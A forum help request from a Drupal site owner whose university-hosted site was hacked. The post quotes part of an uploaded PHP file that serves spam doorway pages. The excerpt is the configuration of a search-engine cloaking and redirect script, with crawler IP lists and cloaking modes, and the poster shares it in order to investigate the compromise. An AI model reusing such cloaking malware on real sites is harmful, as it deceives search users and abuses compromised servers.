Site Hacked? How ...... ????

A drupal site that I installed on a university server has been hacked - it appears that a file sites.php has been uploaded in the hack and it's spitting out spammy pages from a .cache directory. So I've never had a drupal site hacked in 7 years of drupal usage so I'm trying to figure out what shat the bed - carless permissions, university sysadmin setup incorrect etc ....

here is a part of the code in sites.php / also uses a comm.php file:

<?php
// REVISION: $Rev: 1153 $
error_reporting(0);
ini_set('display_errors', 0);
header('Content-type: text/html; charset=utf-8');
set_magic_quotes_runtime(0);

class RemotePage
{
  var $myUrl = 'http://your-domain.com/door_sample/';
  //var $feedUrl = 'http://www.your-feed-domain.com/path/to/${key}/';
  var $cacheDir = '.cache';
  var $varName = 'bs';
  var $waitTimeout = 60; // seconds
  var $useCurl = 0;
  
  var $googleRefNumToAllowRedirect = 100;
  var $googleRefNumToAllowCloak = 100;
  var $cloakMethod = 4; // 1 - 404 old, 2 - hides redirect for bots, 3 - 404 new, 4 - hides redirect for bots and non-google-refs
  
  var $keywordSeparator = '-';
  var $defaultPage = 'index';
  var $searchReferers = 'live|msn|yahoo|google|ask|aol';
  var $botIps = Array(
    /* 2009-12-12 */ '66\.249\.[6-9][0-9]\.[0-9]+', '74\.125\.[0-9]+\.[0-9]+', '38\.[0-9]+\.[0-9]+\.[0-9]+', '70\.91\.180\.25', '65\.93\.62\.242', '74\.193\.246\.129', '213\.144\.15\.38', '195\.92\.229\.2', '70\.50\.189\.191', '218\.28\.88\.99', '165\.160\.2\.20', '89\.122\.224\.230', '66\.230\.175\.124', '218\.18\.174\.27', '65\.33\.87\.94', '67\.210\.111\.241', '81\.135\.175\.70', '64\.69\.34\.134', '89\.149\.253\.169', '69\.136\.208\.89', '83\.15\.211\.166', '78\.180\.145\.80', '78\.166\.111\.63', '64\.233\.1[6-8][1-9]\.[0-9]+', '64\.233\.19[0-1]\.[0-9]+', '209\.185\.108\.[0-9]+', '209\.185\.253\.[0-9]+', '209\.85\.238\.[0-9]+', '216\.239\.33\.9[6-9]', '216\.239\.37\.9[8-9]', '216\.239\.39\.9[8-9]', '216\.239\.41\.9[6-9]', '216\.239\.45\.4', '216\.239\.46\.[0-9]+', '216\.239\.51\.9[6-9]', '216\.239\.53\.9[8-9]', '216\.239\.57\.9[6-9]', '216\.239\.59\.9[8-9]', '216\.33\.229\.163', '64\.233\.173\.[0-9]+', '64\.68\.8[0-9]\.[0-9]+', '64\.68\.9[0-2]\.[0-9]+', '72\.14\.199\.[0-9]+', '8\.6\.48\.[0-9]+', '207\.211\.40\.82', '67\.162\.158\.146', '66\.255\.53\.123', '24\.200\.208\.112', '129\.187\.148\.240', '129\.187\.148\.244', '199\.126\.151\.229', '118\.124\.32\.193', '89\.149\.217\.191',
  );
  
  // !!! DO NOT CHANGE THIS !!!
  var $seal = '7aY#4EwrU_eC2AbEcuP?8keYe&ruQuxE=R46eQ38eHE27aZeFr7W7eSp=752xen?';
  

So can someone tell me how they managed to upload this sites.php file and what code is this, it's obviously been renamed sites.php but looks like some generic hacker code that some script kiddy copied.